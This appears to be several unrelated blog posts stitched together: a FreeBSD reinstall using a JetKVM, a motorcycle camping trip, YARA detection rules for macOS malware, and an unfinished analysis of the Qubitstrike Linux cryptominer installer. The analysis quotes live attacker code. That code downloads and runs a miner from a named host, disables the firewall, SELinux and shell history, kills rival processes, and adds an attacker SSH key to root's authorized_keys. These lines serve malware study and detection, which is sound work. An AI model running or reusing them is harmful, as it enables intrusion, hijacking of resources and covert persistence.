However, when putting everything back into its place, I knew my home storage server running FreeBSD 15-CURRENT was overdue for a wipe and reinstall: it’d been 4 houses, several years, and a handful of domain names since it was initially installed.

One thing I hate about having a home lab is needing to crawl around to fetch a keyboard and monitor for reinstall and recovery ops. Enter the JetKVM, a nifty little device that promised to make this painful process a bit more bearable.

Setting Up the JetKVM

JetKVM is a tiny & cheap hardware KVM-over-IP solution that lets you remotely control servers via a web browser. I’d ordered mine months ago via Kickstarter, but today was my first shot at using it.

Getting the JetKVM ready was refreshingly straightforward:

• Connect the HDMI cable
• Connect the USB-C cable
• Connect Ethernet
• Visit IP displayed on it’s tiny little screen with a web browser

Once I turned the machine on, I was greeted with a familiar boot screen that we’ve seen on PC devices since the 1980’s.

Mapping Out the Existing Storage

I had 10TB of data on this machine to preserve, so I wanted to get a quick map of which disks were what before accidentally wiping something. If I’d been less lazy, I would have unplugged the drives with data.

zpool status -v revealed my storage layout:

• slow: ada1 (14TB spinning disk – my bulk storage)
• zroot: nda0p4 (NVMe drive confirmed via the nda(4) man page)
• fast: ada0 (4TB SATA drive)

FreeBSD's device naming is logical once you know the patterns: nda for NVMe, ada for SATA/PATA drives.

Booting FreeBSD ISO using JetKVM Virtual Media

From my MacBook Pro, I started to setup a bootable USB drive using this classic incantation:

sudo diskutil list | grep external
/dev/disk4 (external, physical):

sudo dd if=$HOME/Downloads/FreeBSD-15.0-CURRENT-amd64-20250612-e6928c33f60c-277883-mini-memstick.img of=/dev/disk4s1 bs=10240

I used the JetKVM virtual keyboard to insert the “Del” button to enter BIOS and set the boot device order up so that it would boot off of the USB stick. But wait, what’s this “JetKVM Virtual Media” device?

Then I noticed this curious “Virtual Media” button in the JetKVM screen – was it possible to upload a disk image to this thing and boot it up without worrying about USB sticks and dd commands? It turns out you can – what a game changer:

• Click “Virtual Media
• Click “Add New Media”
• Click “JetKVM Storage Mount”
• Select local file, click Upload
• Click “Mount File”

One quirk I discovered for FreeBSD is that only the CD/DVD ISO image boots properly via JetKVM Virtual Media, not the memstick images.

Navigating Installation Quirks

It’s been nearly 30 years after my first FreeBSD installation (2.2.0), and I still find new quirks that cause me to go into menu loops. This time it did not like that my system already had a “zroot” pool defined. This was easy enough to fix by selecting the “Shell” option from the partitioning menu:

zpool import zroot
zpool destroy zroot

After that, the rest was smooth sailing.

Configuring Remote Access

The JetKVM is fine as an emergency connectivity option, but nothing beats SSH and a static IP for ease of use. I immediately dove into /etc/rc.conf and defined:

ifconfig_igb0="inet 10.9.8.7 netmask 255.255.255.0"

FreeBSD makes it easy to reconfigure interfaces based on the stored configuration:

/etc/rc.d/netif restart

I like configuring SSH (/etc/sshd/sshd.conf) avoid brute-force attacks from flooding the logs, as well as make them hopeless:

Port 32022
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin yes

Another quick service restart and SSH was ready:

/etc/rc.d/sshd restart

The Connectivity Plot Twist

Here's where my smooth reinstall hit a snag. After getting everything configured, I couldn't reach GitHub:

$ git clone https://github.com/tstromberg/commit-etc.git
Cloning into 'commit-etc'...
fatal: unable to access 'https://github.com/tstromberg/commit-etc.git/': Failed to connect to github.com port 443 after 23 ms: Could not connect to server

DNS was working fine – host github.com returned the expected results:

$ host github.com
github.com has address 140.82.114.4
github.com mail is handled by 10 alt4.aspmx.l.google.com.
github.com mail is handled by 1 aspmx.l.google.com.
...

But trying to actually connect revealed the issue:

$ curl -vvv github.com
== Info: Host github.com:80 was resolved.
== Info: IPv4: 140.82.112.4
== Info:   Trying 140.82.112.4:80...
== Info: Immediate connect fail for 140.82.112.4: Network is unreachable
== Info: Failed to connect to github.com port 80 after 23 ms: Could not connect to server
curl: (7) Failed to connect to github.com port 80 after 23 ms: Could not connect to server

The culprit? I'd forgotten to set the default gateway. I added defaultrouter="10.9.8.1" to /etc/rc.conf and restarted routing:

/etc/rc.d/routing restart

I liked having the extra security blanket of the JetKVM in case I botched the networking configuration.

Essential Tools and Services

Once connectivity was restored, I could install my usual set of server tools:

pkg install tmux fish git doas rsync go syncthing

SyncThing gets special mention here as my go-to solution for keeping files synchronized across machines. It deserves it's own article, but getting it running is just:

sysrc syncthing_enable=YES
/usr/local/etc/rc.d/syncthing start

The sysrc command is FreeBSD's clean way to modify /etc/rc.conf programmatically – less error prone than manual edits.

Configuration Management

I also needed to get my system configuration management back online. My approach is to keep /etc under version control with a simple script setup:

git clone https://github.com/tstromberg/commit-etc.git

cp commit-etc.sh $HOME/commit-etc

$HOME/commit-etc/commit-etc.sh

echo "0 0 * * * $HOME/commit-etc/commit-etc.sh" |crontab -e

Now any system changes I make will be automatically translated into git commits.

Panic!

The FreeBSD “CURRENT” stream is considered “alpha” quality and well-known for stability issues. Even so, I was surprised to get a panic so quickly, induced by my attempt to sync terrabytes worth of data to an external drive via USB 3.0:

The JetKVM proved its worth here too – as it made persistent out-of-band access to my server a painless affair. Otherwise, I would have had to fetch a monitor out to see the panic message.

After some tweaks, FreeBSD 15-CURRENT is running smoothly now, with a clean ZFS setup and all my essential services back online. The combination of solid documentation (those man pages!), logical device naming, and straightforward service management makes FreeBSD a pleasure to work with, even during major system changes.

I have yet to talk much about it, but earlier this year I started an open-source project named malcontent that detects precisely this kind of attack: malicious changes in open-source software. This is very relevant to my day job at Chainguard.

malcontent summarizes the risks and capabilities of a file and alerts when a new version substantially changes those risks and capabilities. It's easier to show you with a screenshot:

In a nutshell: mal diff calculated that the risk of file went from MEDIUM to CRITICAL between two revisions. In doing so, it surfaced a number of new behaviors that would catch the eye of a code reviewer. The idea here is that no tool will be able to give you a 100% reliable answer to “Is it malicious or not?” but as a code reviewer, you have the context of what functionality changes are reasonable to you for the library you are consuming.

malcontent works on any file you might encounter in open source, from shell scripts to Linux ELF binaries to macOS machO binaries and PHP. While we’ve incorporated over 15,000 YARA rules, we're far from the same quality level as VirusTotal; so if you are handy in YARA or Go or would like to learn more about them, PRs are welcome!

PS – malcontent can also be used as a basic malware scanner – but it isn’t yet as impressive as the “diff” mode: mal scan /path

This was an unofficial camping trip with folks from my daughter’s girl scout troop. She wanted to travel with her friends, but I still had to be prepared to take her home on the bike, so everything had to fit for the two of us:

From a packing perspective, the most creative thing I did was tape my tools to the back of the helmet compartment in the CE 04. There is an indented area on the back wall there that is otherwise unused:

Once that’s in, the helmet compartment still easily fits a helmet or two sleeping bags and a J1772 charger cable:

I didn’t mind if the tent and chairs got wet, so I placed them up against the top case.

The route I picked was setup so that I would charge twice in each direction so that I would have enough range to find a “Plan B” in case of a charging problem. I found the chargers using PlugShare and then plugged them into BMW’s navigation software to find the twistiest route possible:

The first river crossing was the Haw River, named after the native tribe that once occupied this area. The tribe disappeared through death and assimilation after 1715, but the place names live on in their memory. North Carolina is filled with Native American history, and even today, North Carolina has the highest number of Native American residents (122,000) this side of the Mississippi.

The first charging stop was at Welford Harris Ford in Siler City, where a most curious and friendly manager welcomed me. He’d never seen an electric motorcycle before. I usually avoid charging at car dealerships because they have the lowest likelihood of functioning in my experience. Dealerships never seem to have more than 1 charging port, which is often deactivated, locked away, in use by a dealership car, or deemed customers only.

Welford Harris Ford, on the other hand, is exceptionally friendly and has a great food options nearby, so you can fill your belly while you fill your battery:

By the time I had lunch and returned to the bike, it had charged from 43% to 100%. Heading south from there toward the Deep River, I was soon welcomed by a series of abandoned barns, chicken coops & textile mills. Also: rain. Not enough to slow me down too much, but enough to make me take the curves carefully as they were filled with wet fall leaves.

At the Deep River, I encountered Coleridge, home of Enterprise Manufacturing – this cotton mill was built in the late 1800s, it’s been shuttered for the last 65 years:

There was even 3-4 miles of quiet gravel roads to enjoy. It still blows me away how well the CE 04 handles gravel. Somehow, I feel more confident. on it in gravel than I did with my old F650GS Dakar.

Just south of Asheboro, I stopped at the North Carolina Zoo for a free charge and a much needed bathroom break. I’m always skeptical of free chargers, as people often unnecessarily camp their cars out at them. It’s a cold & rainy day, and the zoo provides more chargers (6!) than anywhere else I’ve been outside of a Tesla Supercharger, so it was no hassle.

I went a little out of my way to check out Seagrove, the Pottery Capital of the United States. There are more working potters per capita here than anywhere else in the US. Every building in the town seemed to cater to pottery somehow.

Heading south down via Ether Rd & Okeewemee (meaning “land between two rivers”), I avoided the highway and passed farm after farm: mostly cows, but also horses and sheep. I also noticed the youth of the trees here: it seems like everything around me had been clear-cut at least once in the last 25 years.

I soon arrived at our campground, an old farm in Troy, NC. It was gorgeous and peaceful. The host, Karl, was exceptionally welcoming and gregarious. He showed me around the expansive property, where I could charge my bike and place my tent, and welcomed me into his home. We soon had a campfire with smores.

My new tent, the Big Agnes Tiger Wall 2 (bikepacking version) was easy to set up and did not leak any rain: it’ll cozily fit two people and their gear and packs up exceptionally small. After a good nights rest, I woke up early in the morning to take some photos of the farm:

We made a day of going to the North Carolina Zoo in Asheboro, where I found my spirit animal, the Colorado River Toad. I had read about the psychotropic characteristics of this species as a teenager and soon referred to my peers as “toadblowers” for reasons I still don’t understand.

The next day it was time to head home. As I had initially planned for my daughter to join me on the way home, I selected a known good route home with known-good EV charging options. She, however, decided to ride back with her friends, so I took the time to scout out some new charging options. Here’s the Blink Charger at Montgomery Ford in Troy, NC – you can charge a bike here, but they always leave a Mustang Mach-E parked here, so don’t count on charging your car:

The nearby tiny town of Biscoe had a charger listed on PlugShare as vandalized and inoperable since July, so I dropped by to confirm that this is still the case. It’s weird to think that folks would vandalize an EV charger, but I imagine it was bored teenagers more than a nefarious group of anti-EV constituents.

Robbins, NC, has my vote for the most charming small town in the Piedmont. It has a lovely EV charger near a great coffee shop, walking trails, and Carolina Fried Chicken and House of Pizza (aka “Chicken Hut”) I stopped here to recharge myself and the CE 04: by the time I returned to the bike, it was at 99%.

After Robbins, I followed River Rd for a beautiful twisty route along the Deep River. The fall leaves and gentle curves quickly instilled a sense of peace in me. The next and final planned stop was the charger at the Goldston Public Library, where I arrived with a 53% charge.

I was in a hurry to get home and made the mistake of going by intuition and unplugging the bike at 68% rather than looking up how much charge I needed. I thought I only needed a 55% charge to get home from there, but it turned out to be 72% – so I made one last charging top-off at the Chatham County Agriculture & Conference Center to add another 15% onto the bike before reaching home.

Thinking back to this trip, it amazes me how many people went into making such an adventure possible: from the folks who organized the campout to the engineers who designed the EV chargers, and the people who built the roads. It’s a good reminder that behind all this amazing technology is a sea of people working together for the greater good of. the world.

That thought fills my heart. Until next time, keep the shiny side up.

I threw our YARA queries at Kandy Korn, and found that 2 of the 3 binaries were identified as suspicious:

MEDIUM objective-see/KandyKorn/kandykorn
  * generic_scan_tool
      f_gethostbyname: gethostbyname
      f_socket: socket
      f_connect: connect
      o_probe: probe
      o_port: port
  - sha256: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6
/Users/t/src/malware/objective-see/KandyKorn/log

MEDIUM objective-see/KandyKorn/log
  * opaque_macho_binary
      word_with_spaces: ja kw
  - sha256: 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940

However, no virus scanners could detect this Malware until this week. That's the power of generic YARA detectors: once you define your baseline of normalcy, you can detect the truly weird things that circulate through your network.

Two generic YARA techniques worth trying

What do I mean by a generic YARA detector? I mean YARA rules that are designed to match multiple kinds of suspicious binaries, even those you have never seen before.

I'm going to share these two YARA rules that were capable of catching KandyKorn before it was published. The first generic query detects portscanners – it’s what I refer to as a “capabilities-based” detector:

rule generic_scan_tool {
  strings:
    $f_gethostbyname = "gethostbyname"
    $f_socket = "socket"
    $f_connect = "connect"
    $o_banner = "banner"
    $o_Probe = "Probe"
    $o_probe = "probe"
    $o_scan = "scan"
    $o_port = "port"
  condition:
    all of ($f*) and any of ($o*)
}

This rule works by trying to guess at the capabilities of a program by parsing through strings it mentions. YARA rules excel at discovering the latent capabilities of a program, which can ocassionally catch things that behavioral analysis misses.

My second favorite kind of detector is an obfuscation-detector: searching for binaries that seem to have gone through a process to hide the strings a capabilities-based detector might rely on.

This query uncovers Mach-O binaries that have been intentionally obfuscated, by measuring the number of words found with spaces between them:

rule opaque_macho_binary {
  strings:
    $word_with_spaces = /[a-z]{2,} [a-z]{2,}/
  condition:
    filesize < 52428800 and (uint32(0) == 4277009102 or uint32(0) == 3472551422 or uint32(0) == 4277009103 or uint32(0) == 3489328638 or uint32(0) == 3405691582 or uint32(0) == 3199925962) and #word_with_spaces < 4
}

The idea is that very few Mach-O binaries have no sentence references. These sentences are sometimes error messages, sometimes usage messages, and sometimes phrases that are displayed to the screen. Almost no binaries have less than 4 words with spaces.

Since writing this rule, I haven't seen that alert fire for anything other than malware, and it has caught quite a few samples.

Here's a bonus query that matches the “Discord” binary by way of looking at its capabilities. This query Swift binaries that ship with a debugging entitlement and references executables, which isn't a common combination. This entitlement is normally stripped when you ship a binary, but I guess the DPRK did not get that memo.

rule swift_debug_program_with_exec_ref {
	strings:
		$task_allow = "com.apple.security.get-task-allow"
		$mh_execute_header = "_mh_execute_header"
		$executable = "executable"
		$swift_force_load = "__swift_FORCE_LOAD"
	condition:
		all of them
}

This next generic query also matches Janicab, though I suspect it will also yield false positives:

rule executable_place_ref {
	strings:
		$xecURL = "xecURL"
		$xecutableURL = "xecutableURL"
		$xecUrl = "xecUrl"
		$xecutableUrl = "xecutableUrl"
		$xecFile = "xecFile"
		$xecutableFile = "xecutableFile"
	condition:
		any of them
}

The “kandykorn” binary has many opportunities to be matched generically based on latent capabilities. For example, very few programs list system pids and reference libcurl:

rule proc_listpids_and_curl {
	strings:
		$proc_listpids = "proc_listpids"
		$libcurl = "libcurl"
	condition:
		all of them
}

Similarly, the log binary (aka SUGARLOADER) can be matched by the following YARA query:

rule notification_dialog_with_sysctl_and_curl {
	strings:
		$display_alert = "CFUserNotificationDisplayAlert"
		$socket = "socket"
		$sysctl = "sysctl"
		$getpid = "getpid"
		$curl = "curl"
	condition:
		all of them
}

Some may argue that generic queries like this are a headache due to false-positive management, but it depends on your mission and threat model: are you more interested in catching known or unknown malware? If the latter, try generic queries and aggressively update them to reduce the false positive rate to near zero. Consider all alerts to be actionable.

If you need hints as to what to match in your generic queries, here's an alias I keep around to extract the more important strings for UNIX binaries:

strings - "$1" 
  | egrep "/[a-zA-Z][a-z]{2,}|[A-Za-z]{4}|[a-zA-Z]{2}-[a-zA-Z]{2}|\d+\.\d+\.\d+|[0-9a-f]:[0-9a-f]" 
  | egrep -v "^(__TEXT|__DATA|__text|__stubs|__cstring|__const|__data|__common|__LINKEDIT|__literals|__ojc_methname|__unwind_info|__mod_init_func|__obj_|__la_symbol_ptr|__eh_frame|__DATA_CONST|__PAGEZERO|__init_offsets|__swift5_.*|__objc_.*|AUAT.*|AVAUI.*)$" | uniq

Good luck out there!

I really like QubitStrike: it has a bit of everything and is easy to dissect. The most exciting thing about it is that it's the first example I've seen of casual attackers employing a kernel rootkit that actually works on the latest versions of popular Linux distributions. Let's take a tour!

The Qubitstrike Installer

If you ever wanted to study how your modern malware installer operates on Linux, the Qubitstrike installer script is the perfect case study for you – it's like a tasting tour of UNIX malware techniques in a single easy-to-read shell script.

• Two Linux rootkits (kernel and user-mode)
• Process hiding
• Credential theft
• An SSH backdoor
• A viral component
• A cryptocurrency miner
• Telegram integration

To follow along, I've posted a copy of the original installer script here: mi.sh. If you want to test the installer yourself within a VM, I've made a defanged copy of it that works without downloading content from codeberg: local-mi.sh

Installer Initialization

miner_url="https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz"
miner_name="python-dev"
killer_url="https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh"
kill_url2="https://codeberg.org/m4rt1/sh/raw/branch/main/kill_loop.sh"
pool="pool.hashvault.pro:80"
MD5="199b790d05724170f3e6583500799db1"
DIR="/usr/share/.LQvKibDTq4"
RSA="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali"
[[ $EUID -eq 0 ]] || DIR="/tmp/.LQvKibDTq4" ;

Even the initialization part of the script contains multiple detection opportunities, as the following things are highly irregular to find in executables or shell scripts:

• References to codeberg.org/.*/raw/
• References to hashvault or miner_
• References to hidden /usr/share and /tmp directories
• SSH keys

Fetch Tools

I'm now going to show the installer output in debug mode (using bash -x), as it usually makes the behavior easier to discern. If you are on a Linux distro that has “apt”, “yum”, or “apk” package manager available, the script will install curl or wget for you:

---------------------------------------
 INSTALLING WGET, CURL ...
---------------------------------------
+ type apt
+ apt-get update --fix-missing
Hit:1 http://archive.ubuntu.com/ubuntu lunar InRelease                   
Hit:2 http://security.ubuntu.com/ubuntu lunar-security InRelease         
Hit:3 http://archive.ubuntu.com/ubuntu lunar-updates InRelease           
Hit:4 http://archive.ubuntu.com/ubuntu lunar-backports InRelease
Reading package lists... Done
+ apt-get install wget curl -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
wget is already the newest version (1.21.3-1ubuntu1).
curl is already the newest version (7.88.1-8ubuntu2.3).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

A script or executable containing “apt-get install wget curl -y” is probably malware, so it's not a bad thing to alert on. Once a fetch tool is installed, it moves it to a new location to break future attackers, as well as bypass detection queries that look for wget or curl:

---------------------------------------
 Replacing WGET, CURL ...
---------------------------------------
+ sleep 1s
+ [[ -f /usr/bin/wget ]]
+ mv /usr/bin/wget /usr/bin/zget
+ [[ -f /usr/bin/curl ]]
+ mv /usr/bin/curl /usr/bin/zurl
+ [[ -f /bin/wget ]]
+ [[ -f /bin/curl ]]
++ command -v zget
+ [[ -x /usr/bin/zget ]]
+ req='zget -q -O -'
+ DLr='zget -O'

Then we use the newly renamed fetch tool to query for our Internet IP using ifconfig.me. The script later uses this value as a client ID:

++ zget -q -O - ifconfig.me
+ client=136.54.68.146

The “restart” argument

Curiously, the installer supports a restart argument, which provides a handy way to re-set up an infected host. It also gives you a starting point to sort out how to clean up an infected host, though it doesn’t seem to do anything about the kernel rootkit or other system-level changes:

    chattr -R -i /usr/share/.LQvKibDTq4/
    rm -rf /usr/share/.LQvKibDTq4/
    rm -rf /tmp/.LQvKibDTq4/
    rm -rf /usr/share/.28810
    rm -rf /etc/cron.d/netns
    chattr -i /etc/ld.so.preload
    chattr -i /usr/local/lib/libnetresolv.so
    rm -rf /usr/local/lib/libnetresolv.so /etc/ld.so.preload
    pkill -f python-dev
    pkill python-dev
    killall python-dev
    mkdir -p $DIR
    start

Begin Disable Security

Now things get serious, as the malware begins by actively degrading the security posture of the Linux host:

---------------------------------------
 Begin disable security 
---------------------------------------
+ cover
+ iptables -F
+ systemctl stop firewalld
+ systemctl disable firewalld

At this point, it has flushed all existing iptables firewall rules and killed off the firewalld firewall manager (used mainly by Red Hat). Next, the script increases the file descriptor count from a typical value of 1024 to 65535 for reasons I'm not quite sure of.

+ ulimit -n 65535

Then, it begins disabling the shell command history. First, by hiding all commands that begin with a with a “ ” character:

+ HISTCONTROL=ignorespace

HISTCONTROL=ignorespace is an entirely new feature to me (why does it even exist?). The script then disables the history file altogether via a variety of mechanisms, making that setting useless anyways.

+ export HISTFILE=/dev/null
+ unset HISTFILE
+ shopt -ou history
+ set +o history
+ HISTSIZE=0

If you are not already alerting on programs executing with these HIST* values, you should begin today. These values are rarely seen outside of malware, particularly HISTFILE=/dev/null. Next, the installer disables SELinux, which should be causing alarms to go off:

+ setenforce 0
+ echo SELINUX=disabled

Next, Qubitstrike disables the Linux kernel NMI watchdog for what I have to assume are performance reasons – as it decreases the amount of non-maskable interrupts on the system. Perhaps it also decreases the chances that the host will reboot due to a misbehaving crypto miner:

+ sysctl kernel.nmi_watchdog=0
+ sysctl kernel.nmi_watchdog=0
+ echo '0' >/proc/sys/kernel/nmi_watchdog
+ echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf

More detection opportunities: calls to sysctl, edits to /proc/sys/kernel, and edits to /etc/sysctl.conf. The next thing the installer does in its preparation is modify the system's DNS resolvers. This is a great way to bypass malware detection that requires a local or custom DNS server and improve reliability if the system does not have a stable DNS server defined.

grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf;
grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf;

Squeezing out the competition

The firewall rules are reprogrammed to drop packets to and from competing miners:

    iptables -A OUTPUT -p tcp --dport 3333 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP > /dev/null 2>&1
    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 10343 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 10300 -j DROP > /dev/null 2>&1

To further squeeze out the competition, Qubitstrike then begins killing off any process that consumes more than 99% CPU, as well as nuking known miner processes by name:

proc_kl() {
  # KILL any bproc with 99% CPU
  ps aux | grep -vw python-dev | awk '{if($3>99.0) print $2}' | while read procid
  do
    kill -9 $procid
  done

  chattr -i etc/ld.so.preload > /dev/null 2>&1
  rm -rf /etc/ld.so.preload > /dev/null 2>&1

  list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg')

  list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota)

  list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade'  '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' 'zhuabcn@yahoo.com' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu')

  list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer)

  if type killall > /dev/null 2>&1; then
    for k1 in "${list1[@]}" ; do killall $k1 ; done
  fi

  for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done
  for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done
  for k4 in "${list4[@]}" ; do pkill -f $k4 ; done
}

If you are looking for crypto miners, that's a good list of unusual processes and command-line strings to watch for! Next, the installer kills off any process with an outgoing connection to what are likely standard miner ports, but 143 (IMAP), 3389 (Remote Desktop), and 6667 (ircd) stand out to me.

list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777'  ':3347' ':14444' ':14433' ':13531' ':15001' ':15002')
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %

Makin' $$$ with XMRig

The install script increases the number of hugepages (typically 0) to 128. I’m most familiar with this optimization for things like Oracle Databases, but it also allegedly offers a 20-30% boost for some types of cryptocurrency mining.

---------------------------------------
 setup hugepages 
---------------------------------------
+ hugepages
+ sysctl -w vm.nr_hugepages=128
vm.nr_hugepages = 128
+ echo vm.nr_hugepages=128 > /etc/sysctl.conf

Any program that references vm.nrhugepages should be considered a possible crypto miner. For more confirmation, combine it with a check for kernel.nmiwatchdog.

Once the appropriate sysctl values are set, the script fetches and starts the miner:

+ zurl -o /usr/share/.LQvKibDTq4/xm.tar.gz https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz
+ tar -xf /usr/share/.LQvKibDTq4/xm.tar.gz -C /usr/share/.LQvKibDTq4
+ rm -rf /usr/share/.LQvKibDTq4/xm.tar.gz
+ chmod +x /usr/share/.LQvKibDTq4/config.json /usr/share/.LQvKibDTq4/python-dev
+ /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90

Unsurprisingly, the program is XMRig – the most popular option for invasive cryptocurrency miners. It's disappointing that the archive only contains an x86_64 binary, but the installer script never checks for the machine architecture. The attacker may have done that step manually within Jupyter. It was a nice touch that the script author limited the CPU usage to 90% to avoid detection.

Installing the backdoor

Rather than implementing its own detectable backdoor, QubitStrike makes the wise decision to use OpenSSH, which is already likely on the system. This works nicely since we already know from the attack profile that the machine is on the Internet, and we've already flushed the firewall that may have prevented external SSH access.

The attacker plugs in their SSH credentials (likely from a Kali Linux machine), disables the tcpwrapper controls, reconfigures sshd to allow remote root login, and starts it up. I'm not sure what the “Port 78” reference is all about, but I assume they are disabling a backdoor configuration from a competing crypto miner.

---------------------------------------
 SSH setup  
---------------------------------------
+ ssh_get
+ '[' -f /root/.ssh/authorized_keys ']'
+ chattr -aui /root/.ssh/authorized_keys
+ grep -q 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali' /root/.ssh/authorized_keys
